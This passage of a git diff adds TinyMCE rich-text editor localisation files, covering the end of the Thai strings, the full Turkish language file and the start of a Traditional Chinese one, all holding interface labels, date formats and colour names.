+tinyMCE.addI18n({th:{common:{"more_colors":"\u0e2a\u0e35\u0e2d\u0e37\u0e48\u0e19\u0e46","invalid_data":"\u0e02\u0e49\u0e2d\u0e1c\u0e34\u0e14\u0e1e\u0e25\u0e32\u0e14: \u0e1b\u0e49\u0e2d\u0e19\u0e04\u0e48\u0e32\u0e43\u0e19\u0e0a\u0e49\u0e2d\u0e07\u0e2a\u0e35\u0e41\u0e14\u0e07\u0e43\u0e2b\u0e49\u0e16\u0e39\u0e01\u0e15\u0e49\u0e2d\u0e07","popup_blocked":"\u0e02\u0e2d\u0e2d\u0e20\u0e31\u0e22\u0e41\u0e15\u0e48\u0e40\u0e23\u0e32\u0e1e\u0e1a\u0e27\u0e48\u0e32\u0e04\u0e38\u0e13\u0e21\u0e35\u0e23\u0e30\u0e1a\u0e1a\u0e1b\u0e49\u0e2d\u0e07\u0e01\u0e31\u0e19\u0e1b\u0e4a\u0e2d\u0e1b\u0e2d\u0e31\u0e1b \u0e04\u0e38\u0e13\u0e08\u0e30\u0e15\u0e49\u0e2d\u0e07\u0e1b\u0e34\u0e14\u0e01\u0e32\u0e23\u0e43\u0e0a\u0e49\u0e07\u0e32\u0e19\u0e01\u0e32\u0e23\u0e1a\u0e25\u0e47\u0e2d\u0e04\u0e1b\u0e4a\u0e2d\u0e1b\u0e2d\u0e31\u0e1b","clipboard_no_support":"\u0e02\u0e13\u0e30\u0e19\u0e35\u0e49\u0e22\u0e31\u0e07\u0e44\u0e21\u0e48\u0e2a\u0e19\u0e31\u0e1a\u0e2a\u0e19\u0e38\u0e19\u0e40\u0e1a\u0e23\u0e32\u0e40\u0e0b\u0e2d\u0e23\u0e4c\u0e02\u0e2d\u0e07\u0e04\u0e38\u0e13 \u0e43\u0e2b\u0e49\u0e43\u0e0a\u0e49\u0e41\u0e1b\u0e49\u0e19\u0e1e\u0e34\u0e21\u0e1e\u0e4c\u0e25\u0e31\u0e14\u0e41\u0e17\u0e19","clipboard_msg":"\u0e04\u0e31\u0e14\u0e25\u0e2d\u0e01 / \u0e15\u0e31\u0e14 / \u0e27\u0e32\u0e07\u0e22\u0e31\u0e07\u0e44\u0e21\u0e48\u0e21\u0e35\u0e43\u0e2b\u0e49\u0e1a\u0e23\u0e34\u0e01\u0e32\u0e23\u0e43\u0e19 Mozilla \u0e41\u0e25\u0e30 Firefox.\nDo \u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e02\u0e49\u0e2d\u0e21\u0e39\u0e25\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e40\u0e15\u0e34\u0e21\u0e40\u0e01\u0e35\u0e48\u0e22\u0e27\u0e01\u0e31\u0e1a\u0e1b\u0e31\u0e0d\u0e2b\u0e32\u0e19\u0e35\u0e49\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48?","not_set":"-- \u0e44\u0e21\u0e48\u0e44\u0e14\u0e49\u0e15\u0e31\u0e49\u0e07\u0e04\u0e48\u0e32 --","class_name":"css \u0e04\u0e25\u0e32\u0e2a",browse:"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e44\u0e1f\u0e25\u0e4c",close:"\u0e1b\u0e34\u0e14",cancel:"\u0e22\u0e01\u0e40\u0e25\u0e34\u0e01",update:"\u0e2d\u0e31\u0e1e\u0e40\u0e14\u0e15",insert:"\u0e40\u0e1e\u0e34\u0e48\u0e21",apply:"\u0e43\u0e0a\u0e49\u0e07\u0e32\u0e19","edit_confirm":"\u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e43\u0e0a\u0e49\u0e42\u0e2b\u0e21\u0e14 WYSIWYG \u0e43\u0e19\u0e01\u0e32\u0e23\u0e40\u0e02\u0e35\u0e22\u0e19\u0e1a\u0e17\u0e04\u0e27\u0e32\u0e21\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48 ?","invalid_data_number":"{#field} must be a number","invalid_data_min":"{#field} must be a number greater than {#min}","invalid_data_size":"{#field} must be a number or percentage",value:"(value)"},contextmenu:{full:"\u0e40\u0e15\u0e47\u0e21",right:"\u0e02\u0e27\u0e32",center:"\u0e01\u0e25\u0e32\u0e07",left:"\u0e0b\u0e49\u0e32\u0e22",align:"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e08\u0e31\u0e14\u0e27\u0e32\u0e07"},insertdatetime:{"day_short":"\u0e2d\u0e32,\u0e08,\u0e2d\u0e31\u0e07,\u0e1e,\u0e1e\u0e24,\u0e28,\u0e2a,\u0e2d","day_long":"\u0e27\u0e31\u0e19\u0e2d\u0e32\u0e17\u0e34\u0e15\u0e22\u0e4c,\u0e27\u0e31\u0e19\u0e08\u0e31\u0e19\u0e17\u0e23\u0e4c,\u0e27\u0e31\u0e19\u0e2d\u0e31\u0e07\u0e04\u0e32\u0e23,\u0e27\u0e31\u0e19\u0e1e\u0e38\u0e18,\u0e27\u0e31\u0e19\u0e1e\u0e24\u0e2b\u0e31\u0e2a\u0e1a\u0e14\u0e35,\u0e27\u0e31\u0e19\u0e28\u0e38\u0e01\u0e23\u0e4c,\u0e27\u0e31\u0e19\u0e40\u0e2a\u0e32\u0e23\u0e4c,\u0e2d\u0e32\u0e17\u0e34\u0e15\u0e22\u0e4c","months_short":"\u0e21.\u0e04.,\u0e01.\u0e1e.,\u0e21\u0e35.\u0e04.,\u0e40\u0e21.\u0e22.,\u0e1e.\u0e04.,\u0e21\u0e34.\u0e22.,\u0e01.\u0e04.,\u0e2a.\u0e04.,\u0e01.\u0e22.,\u0e15.\u0e04.,\u0e1e.\u0e22.,\u0e18.\u0e04.","months_long":"\u0e21\u0e01\u0e23\u0e32\u0e04\u0e21,\u0e01\u0e38\u0e21\u0e20\u0e32\u0e1e\u0e31\u0e19\u0e18\u0e4c,\u0e21\u0e35\u0e19\u0e32\u0e04\u0e21,\u0e40\u0e21\u0e29\u0e32\u0e22\u0e19,\u0e1e\u0e24\u0e29\u0e20\u0e32\u0e04\u0e21,\u0e21\u0e34\u0e16\u0e38\u0e19\u0e32\u0e22\u0e19,\u0e01\u0e23\u0e01\u0e0e\u0e32\u0e04\u0e21,\u0e2a\u0e34\u0e07\u0e2b\u0e32\u0e04\u0e21,\u0e01\u0e31\u0e19\u0e22\u0e32\u0e22\u0e19,\u0e15\u0e38\u0e25\u0e32\u0e04\u0e21,\u0e1e\u0e24\u0e28\u0e08\u0e34\u0e01\u0e32\u0e22\u0e19,\u0e18\u0e31\u0e19\u0e27\u0e32\u0e04\u0e21","inserttime_desc":"\u0e41\u0e17\u0e23\u0e01\u0e40\u0e27\u0e25\u0e32","insertdate_desc":"\u0e41\u0e17\u0e23\u0e01\u0e27\u0e31\u0e19\u0e17\u0e35\u0e48","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"\u0e1e\u0e34\u0e21\u0e1e\u0e4c"},preview:{"preview_desc":"\u0e14\u0e39\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07"},directionality:{"rtl_desc":"\u0e2d\u0e48\u0e32\u0e19\u0e08\u0e32\u0e01\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22","ltr_desc":"\u0e2d\u0e48\u0e32\u0e19\u0e08\u0e32\u0e01\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32"},layer:{content:"\u0e40\u0e25\u0e40\u0e22\u0e2d\u0e23\u0e4c\u0e43\u0e2b\u0e21\u0e48...","absolute_desc":"\u0e2a\u0e25\u0e31\u0e1a\u0e01\u0e32\u0e23\u0e27\u0e32\u0e07","backward_desc":"\u0e22\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e49\u0e32\u0e07\u0e2b\u0e25\u0e31\u0e07","forward_desc":"\u0e22\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e49\u0e32\u0e07\u0e2b\u0e19\u0e49\u0e32","insertlayer_desc":"\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e40\u0e25\u0e40\u0e22\u0e2d\u0e23\u0e4c\u0e43\u0e2b\u0e21\u0e48"},save:{"save_desc":"\u0e1a\u0e31\u0e19\u0e17\u0e36\u0e01","cancel_desc":"\u0e22\u0e01\u0e40\u0e25\u0e34\u0e01\u0e17\u0e38\u0e01\u0e2d\u0e22\u0e48\u0e32\u0e07"},nonbreaking:{"nonbreaking_desc":"\u0e41\u0e17\u0e23\u0e01\u0e2d\u0e31\u0e01\u0e02\u0e23\u0e30\u0e27\u0e48\u0e32\u0e07"},iespell:{download:"\u0e2b\u0e32\u0e01\u0e23\u0e30\u0e1a\u0e1a\u0e15\u0e23\u0e27\u0e08\u0e2a\u0e2d\u0e1a\u0e04\u0e33\u0e1c\u0e34\u0e14\u0e44\u0e21\u0e48\u0e1e\u0e1a \u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e15\u0e34\u0e14\u0e15\u0e31\u0e49\u0e07\u0e40\u0e14\u0e35\u0e4b\u0e22\u0e27\u0e19\u0e35\u0e49 ?","iespell_desc":"\u0e40\u0e23\u0e35\u0e22\u0e01\u0e43\u0e0a\u0e49\u0e15\u0e23\u0e27\u0e08\u0e01\u0e32\u0e23\u0e2a\u0e30\u0e01\u0e14"},advhr:{"advhr_desc":"\u0e40\u0e2a\u0e49\u0e19\u0e1a\u0e23\u0e23\u0e17\u0e31\u0e14","delta_height":"","delta_width":""},emotions:{"emotions_desc":"\u0e44\u0e2d\u0e04\u0e2d\u0e19\u0e41\u0e2a\u0e14\u0e07\u0e2d\u0e32\u0e23\u0e21\u0e13\u0e4c","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"\u0e04\u0e49\u0e19\u0e2b\u0e32/\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48","search_desc":"\u0e04\u0e49\u0e19\u0e2b\u0e32","delta_width":"","delta_height":""},advimage:{"image_desc":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e23\u0e39\u0e1b","delta_width":"","delta_height":""},advlink:{"link_desc":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e41\u0e2d\u0e17\u0e17\u0e23\u0e34\u0e1a\u0e34\u0e27","ins_desc":"\u0e40\u0e1e\u0e34\u0e48\u0e21","del_desc":"\u0e25\u0e1a","acronym_desc":"\u0e2d\u0e31\u0e01\u0e29\u0e23\u0e22\u0e48\u0e2d","abbr_desc":"\u0e15\u0e31\u0e27\u0e22\u0e48\u0e2d","cite_desc":"\u0e01\u0e32\u0e23\u0e2d\u0e49\u0e32\u0e07\u0e2d\u0e34\u0e07","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"\u0e41\u0e01\u0e49\u0e44\u0e02 CSS","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Paste is now in plain text mode. Click again to toggle back to regular paste mode.","plaintext_mode_sticky":"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.","selectall_desc":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14","paste_word_desc":"\u0e27\u0e32\u0e07\u0e08\u0e32\u0e01\u0e42\u0e1b\u0e23\u0e41\u0e01\u0e23\u0e21 Word","paste_text_desc":"\u0e27\u0e32\u0e07\u0e42\u0e14\u0e22\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e18\u0e23\u0e23\u0e21\u0e14\u0e32"},"paste_dlg":{"word_title":"Use CTRL+V on your keyboard to paste the text into the window.","text_linebreaks":"Keep linebreaks","text_title":"Use CTRL+V on your keyboard to paste the text into the window."},table:{cell:"\u0e40\u0e0b\u0e25\u0e25\u0e4c",col:"\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c",row:"\u0e41\u0e16\u0e27",del:"\u0e25\u0e1a\u0e15\u0e32\u0e23\u0e32\u0e07","copy_row_desc":"Copy table row","cut_row_desc":"Cut table row","paste_row_after_desc":"Paste table row after","paste_row_before_desc":"Paste table row before","props_desc":"Table properties","cell_desc":"Table cell properties","row_desc":"Table row properties","merge_cells_desc":"Merge table cells","split_cells_desc":"Split merged table cells","delete_col_desc":"\u0e25\u0e1a\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c","col_after_desc":"\u0e41\u0e17\u0e23\u0e01\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c\u0e08\u0e32\u0e01\u0e02\u0e49\u0e32\u0e07\u0e2b\u0e25\u0e31\u0e07","col_before_desc":"\u0e41\u0e17\u0e23\u0e01\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c\u0e08\u0e32\u0e01\u0e02\u0e49\u0e32\u0e07\u0e2b\u0e19\u0e49\u0e32","delete_row_desc":"\u0e25\u0e1a\u0e41\u0e16\u0e27","row_after_desc":"\u0e41\u0e17\u0e23\u0e01\u0e41\u0e16\u0e27\u0e08\u0e32\u0e01\u0e02\u0e49\u0e32\u0e07\u0e2b\u0e25\u0e31\u0e07","row_before_desc":"\u0e41\u0e17\u0e23\u0e01\u0e41\u0e16\u0e27\u0e08\u0e32\u0e01\u0e02\u0e49\u0e32\u0e07\u0e2b\u0e19\u0e49\u0e32",desc:"Inserts a new table","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?.","restore_content":"Restore auto-saved content.","unload_msg":"\u0e01\u0e32\u0e23\u0e40\u0e1b\u0e25\u0e35\u0e48\u0e22\u0e19\u0e41\u0e1b\u0e25\u0e07\u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e17\u0e33\u0e08\u0e30\u0e2b\u0e32\u0e22\u0e44\u0e1b\u0e2b\u0e32\u0e01\u0e04\u0e38\u0e13\u0e2d\u0e2d\u0e01\u0e08\u0e32\u0e01\u0e2b\u0e19\u0e49\u0e32\u0e19\u0e35\u0e49"},fullscreen:{desc:"\u0e2a\u0e25\u0e31\u0e1a\u0e44\u0e1b\u0e41\u0e2a\u0e14\u0e07\u0e41\u0e1a\u0e1a\u0e40\u0e15\u0e47\u0e21\u0e2b\u0e19\u0e49\u0e32"},media:{edit:"\u0e41\u0e01\u0e49\u0e44\u0e02\u0e21\u0e35\u0e40\u0e14\u0e35\u0e22",desc:"\u0e40\u0e1e\u0e34\u0e48\u0e21 / \u0e41\u0e01\u0e49\u0e44\u0e02 \u0e21\u0e35\u0e40\u0e14\u0e35\u0e22","delta_height":"","delta_width":""},fullpage:{desc:"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23","delta_width":"","delta_height":""},template:{desc:"\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23"},visualchars:{desc:"\u0e01\u0e32\u0e23\u0e04\u0e27\u0e1a\u0e04\u0e38\u0e21\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23 \u0e40\u0e1b\u0e34\u0e14/\u0e1b\u0e34\u0e14"},spellchecker:{desc:"\u0e1b\u0e34\u0e14\u0e01\u0e32\u0e23\u0e2a\u0e30\u0e01\u0e14\u0e04\u0e33",menu:"\u0e15\u0e31\u0e49\u0e07\u0e04\u0e48\u0e32\u0e01\u0e32\u0e23\u0e2a\u0e30\u0e01\u0e14\u0e04\u0e33","ignore_word":"\u0e25\u0e30\u0e40\u0e27\u0e49\u0e19\u0e1a\u0e32\u0e07\u0e04\u0e33","ignore_words":"\u0e25\u0e30\u0e40\u0e27\u0e49\u0e19\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14",langs:"\u0e20\u0e32\u0e29\u0e32",wait:"\u0e42\u0e1b\u0e23\u0e14\u0e23\u0e2d...",sug:"\u0e04\u0e33\u0e41\u0e19\u0e30\u0e19\u0e33","no_sug":"\u0e44\u0e21\u0e48\u0e21\u0e35\u0e04\u0e33\u0e41\u0e19\u0e30\u0e19\u0e33","no_mpell":"\u0e44\u0e21\u0e48\u0e1e\u0e1a\u0e23\u0e30\u0e1a\u0e1a\u0e2a\u0e30\u0e01\u0e14\u0e04\u0e33\u0e1c\u0e34\u0e14","learn_word":"Learn word"},pagebreak:{desc:"\u0e43\u0e2a\u0e48\u0e40\u0e2a\u0e49\u0e19\u0e41\u0e1a\u0e48\u0e07\u0e2b\u0e19\u0e49\u0e32"},advlist:{types:"Types",def:"Default","lower_alpha":"Lower alpha","lower_greek":"Lower greek","lower_roman":"Lower roman","upper_alpha":"Upper alpha","upper_roman":"Upper roman",circle:"Circle",disc:"Disc",square:"Square"},colors:{"333300":"Dark olive","993300":"Burnt orange","000000":"Black","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","808000":"Olive","008000":"Green","008080":"Teal","0000FF":"Blue","666699":"Grayish blue","808080":"Gray",FF0000:"Red",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Yellow","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FF99CC:"Pink",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum",FFFFFF:"White"},aria:{"rich_text_area":"Rich Text Area"},wordcount:{words:"Words:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/tr.js b/js/tiny_mce/langs/tr.js new file mode 100755 index 0000000..40b3d5a --- /dev/null +++ b/js/tiny_mce/langs/tr.js @@ -0,0 +1 @@ +tinyMCE.addI18n({tr:{common:{"more_colors":"Daha fazla renk","invalid_data":"Hata: Ge\u00e7ersiz de\u011fer girildi, bunlar k\u0131rm\u0131z\u0131yla i\u015faretlenmi\u015ftir.","popup_blocked":"\u00dczg\u00fcn\u00fcz, a\u00e7\u0131l\u0131r pencere engelleyiciniz uygulama i\u00e7in gerekli bir pencereyi engelledi. Bu arac\u0131 tam olarak kullanabilmek i\u00e7in a\u00e7\u0131l\u0131r pencere engelleyicisini kapat\u0131n\u0131z.","clipboard_no_support":"\u015eu an kulland\u0131\u011f\u0131n\u0131z taray\u0131c\u0131n\u0131z klavye k\u0131sayollar\u0131n\u0131 desteklememektedir.","clipboard_msg":"Mozilla Firefox da Kes/Kopyala/Yap\u0131\u015ft\u0131r \u00f6zelli\u011fi kullan\u0131lmamaktad\u0131r. \nBu konu hakk\u0131nda bilgi almak ister misiniz?","not_set":"-- Ayarlanmad\u0131 --","class_name":"S\u0131n\u0131f",browse:"G\u00f6zat",close:"Kapat",cancel:"\u0130ptal",update:"G\u00fcncelle",insert:"Ekle",apply:"Uygula","edit_confirm":"Metin giri\u015fi i\u00e7in WYSIWYG modunu kullanmak ister misiniz?","invalid_data_number":"{#field} rakam olmal\u0131","invalid_data_min":"{#field}, {#min} de\u011ferinden b\u00fcy\u00fck ve rakam olmal\u0131","invalid_data_size":"{#field} rakam veya y\u00fczde olmal\u0131",value:"(de\u011fer)"},contextmenu:{full:"Tam",right:"Sa\u011f",center:"Orta",left:"Sol",align:"Hizalama"},insertdatetime:{"day_short":"Paz,Pzt,Sal,\u00c7r\u015f,Per,Cum,Cts","day_long":"Pazar,Pazartesi,Sal\u0131,\u00c7ar\u015famba,Per\u015fembe,Cuma,Cumartesi","months_short":"Oca,\u015eub,Mar,Nis,May,Haz,Tem,A\u011fu,Eyl,Eki,Kas,Ara","months_long":"Ocak,\u015eubat,Mart,Nisan,May\u0131s,Haziran,Temmuz,A\u011fustos,Eyl\u00fcl,Ekim,Kas\u0131m,Aral\u0131k","inserttime_desc":"Saat ekle","insertdate_desc":"Tarih ekle","time_fmt":"%H:%M:%S","date_fmt":"%d-%m-%Y"},print:{"print_desc":"Yazd\u0131r"},preview:{"preview_desc":"\u00d6nizleme"},directionality:{"rtl_desc":"Soldan sa\u011fa y\u00f6nlendir","ltr_desc":"Sa\u011fdan sola y\u00f6nlendir"},layer:{content:"Yeni katman...","absolute_desc":"Mutlaka konumu de\u011fi\u015ftir","backward_desc":"Arkaya al","forward_desc":"\u00d6ne getir","insertlayer_desc":"Yeni katman ekle"},save:{"save_desc":"Kaydet","cancel_desc":"T\u00fcm de\u011fi\u015fiklikleri iptal et"},nonbreaking:{"nonbreaking_desc":"B\u00f6l\u00fcnemez bo\u015fluk karakteri ekle"},iespell:{download:"ieSpell bulunamad\u0131. \u015eimdi kurmak ister misiniz?","iespell_desc":"\u0130mla kontrol\u00fcn\u00fc ba\u015flat"},advhr:{"advhr_desc":"Yatay \u00e7izgi","delta_height":"","delta_width":""},emotions:{"emotions_desc":"\u0130fadeler","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Bul/De\u011fi\u015ftir","search_desc":"Bul","delta_width":"","delta_height":""},advimage:{"delta_width":"Geni\u015flik_fark\u0131","image_desc":"Resim ekle/d\u00fczenle","delta_height":"Y\u00fckseklik_fark\u0131"},advlink:{"link_desc":"Ba\u011flant\u0131 ekle/d\u00fczenle","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Nitelik ekle/d\u00fczenle","ins_desc":"Ekleme","del_desc":"Silme","acronym_desc":"K\u0131sa ad","abbr_desc":"K\u0131saltma","cite_desc":"Al\u0131nt\u0131","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"CSS Stilini D\u00fczenle","delta_height":"","delta_width":""},paste:{"plaintext_mode":"D\u00fcz metin modunda yap\u0131\u015ft\u0131r. Normal yap\u0131\u015ft\u0131rma moduna ge\u00e7mek i\u00e7in tekrar t\u0131klay\u0131n.","plaintext_mode_sticky":"D\u00fcz metin modunda yap\u0131\u015ft\u0131r. Normal yap\u0131\u015ft\u0131rma moduna ge\u00e7mek i\u00e7in tekrar t\u0131klay\u0131n. Yap\u0131\u015ft\u0131rma i\u015fleminden sonra normal yap\u0131\u015ft\u0131rma moduna ge\u00e7ilecektir.","selectall_desc":"T\u00fcm\u00fcn\u00fc se\u00e7","paste_word_desc":"Word\'den yap\u0131\u015ft\u0131r","paste_text_desc":"D\u00fcz metin olarak yap\u0131\u015ft\u0131r"},"paste_dlg":{"word_title":"Pencereye metin yap\u0131\u015ft\u0131rmak i\u00e7in klavyeden CTRL+V i kullan\u0131n.","text_linebreaks":"Sat\u0131r kesmelerini tut","text_title":"Pencereye metin yap\u0131\u015ft\u0131rmak i\u00e7in klavyeden CTRL+V i kullan\u0131n."},table:{cell:"H\u00fccre",col:"S\u00fctun",row:"Sat\u0131r",del:"Tablo sil","copy_row_desc":"Tablo sat\u0131r\u0131n\u0131 kopyala","cut_row_desc":"Tablo sat\u0131r\u0131n\u0131 kes","paste_row_after_desc":"Alt\u0131na tablo sat\u0131r\u0131 yap\u0131\u015ft\u0131r","paste_row_before_desc":"\u00dcst\u00fcne tablo sat\u0131r\u0131 yap\u0131\u015ft\u0131r","props_desc":"Tablo \u00f6zellikleri","cell_desc":"Tablo h\u00fccre \u00f6zellikleri","row_desc":"Tablo sat\u0131r \u00f6zellikleri","merge_cells_desc":"Tablo h\u00fccrelerini birle\u015ftir","split_cells_desc":"Birle\u015ftirilmi\u015f tablo h\u00fccrelerini b\u00f6l","delete_col_desc":"S\u00fctun sil","col_after_desc":"Sa\u011f\u0131na s\u00fctun ekle","col_before_desc":"Soluna s\u00fctun ekle","delete_row_desc":"Sat\u0131r sil","row_after_desc":"Alt\u0131na sat\u0131r ekle","row_before_desc":"\u00dcst\u00fcne sat\u0131r ekle",desc:"Yeni tablo ekle","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"E\u011fer geri y\u00fckleme i\u00e7eri\u011fe otomatik kay\u0131t edilirse, edit\u00f6rde varolan t\u00fcm i\u00e7eri\u011fi kaybedebilirsiniz.\n\nGeri y\u00fcklemenin i\u00e7eri\u011fe kaydedilmesini istedi\u011finizden emin misiniz?","restore_content":"Geri y\u00fckleme i\u00e7eri\u011fe otomatik kaydedildi.","unload_msg":"Bu sayfadan \u00e7\u0131karsan\u0131z yapt\u0131\u011f\u0131n\u0131z de\u011fi\u015fiklikler kaybolabilir."},fullscreen:{desc:"Tam ekran modunu a\u00e7/kapat"},media:{edit:"T\u00fcmle\u015fik medya d\u00fczenle",desc:"T\u00fcmle\u015fik medya ekle / d\u00fczenle","delta_height":"","delta_width":""},fullpage:{desc:"Belge \u00f6zellikleri","delta_width":"","delta_height":""},template:{desc:"\u00d6ntan\u0131ml\u0131 i\u00e7erik \u015fablonu kullan"},visualchars:{desc:"G\u00f6rsel karakter kontrol\u00fc a\u00e7\u0131k/kapal\u0131."},spellchecker:{desc:"\u0130mla kontrol\u00fcn\u00fc a\u00e7/kapat",menu:"\u0130mla kontrol\u00fc ayarlar\u0131","ignore_word":"S\u00f6zc\u00fc\u011f\u00fc yoksay","ignore_words":"T\u00fcm\u00fcn\u00fc yoksay",langs:"Diller",wait:"L\u00fctfen bekleyin...",sug:"\u00d6neriler","no_sug":"\u00d6neri yok","no_mpell":"\u0130mla hatas\u0131 bulunamad\u0131.","learn_word":"S\u00f6zc\u00fc\u011f\u00fc \u00f6\u011fren"},pagebreak:{desc:"Sayfa sonu ekle."},advlist:{types:"Tipler",def:"Varsay\u0131lan","lower_alpha":"K\u00fc\u00e7\u00fck harf alfa","lower_greek":"K\u00fc\u00e7\u00fck harf grek","lower_roman":"K\u00fc\u00e7\u00fck harf roman","upper_alpha":"B\u00fcy\u00fck harf alfa","upper_roman":"B\u00fcy\u00fck harf roman",circle:"\u00c7ember",disc:"Daire",square:"Kare"},colors:{"333300":"Dark olive","993300":"Burnt orange","000000":"Black","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","808000":"Olive","008000":"Green","008080":"Teal","0000FF":"Blue","666699":"Grayish blue","808080":"Gray",FF0000:"Red",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Yellow","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FF99CC:"Pink",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum",FFFFFF:"White"},aria:{"rich_text_area":"Zengin Metin Alan\u0131"},wordcount:{words:"Kelimeler:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/tw.js b/js/tiny_mce/langs/tw.js new file mode 100755 index 0000000..0503679 --- /dev/null +++ b/js/tiny_mce/langs/tw.js @@ -0,0 +1 @@ +tinyMCE.addI18n({tw:{common:{"more_colors":"\u66f4\u591a\u984f\u8272...","invalid_data":"\u60a8\u8f38\u5165\u7684\u8cc7\u6599\u6709\u932f\u8aa4\uff08\u7d05\u8272\u90e8\u5206\uff09","popup_blocked":"\u60a8\u7684\u700f\u89bd\u5668\u7981\u6b62\u5f48\u51fa\u8996\u7a97\u3002","clipboard_no_support":"\u60a8\u7684\u700f\u89bd\u5668\u4e0d\u652f\u63f4\u8a72\u529f\u80fd\uff0c\u8acb\u4f7f\u7528Ctrl + C\u9375\u4ee3\u66ff\u3002","clipboard_msg":"\u5f88\u62b1\u6b49\uff0c\u60a8\u7684\u700f\u89bd\u5668\u4e0d\u652f\u63f4\u8907\u88fd\u529f\u80fd\u3002","not_set":"--\u5c1a\u672a\u8a2d\u5b9a--","class_name":"\u985e\u5225",browse:"\u9810\u89bd",close:"\u95dc\u9589",cancel:"\u53d6\u6d88",update:"\u66f4\u65b0",insert:"\u63d2\u5165",apply:"\u5957\u7528","edit_confirm":"\u662f\u5426\u9700\u8981\u958b\u555f\u6587\u5b57\u7de8\u8f2f\u5668\uff1f","invalid_data_number":"{#field} must be a number","invalid_data_min":"{#field} must be a number greater than {#min}","invalid_data_size":"{#field} must be a number or 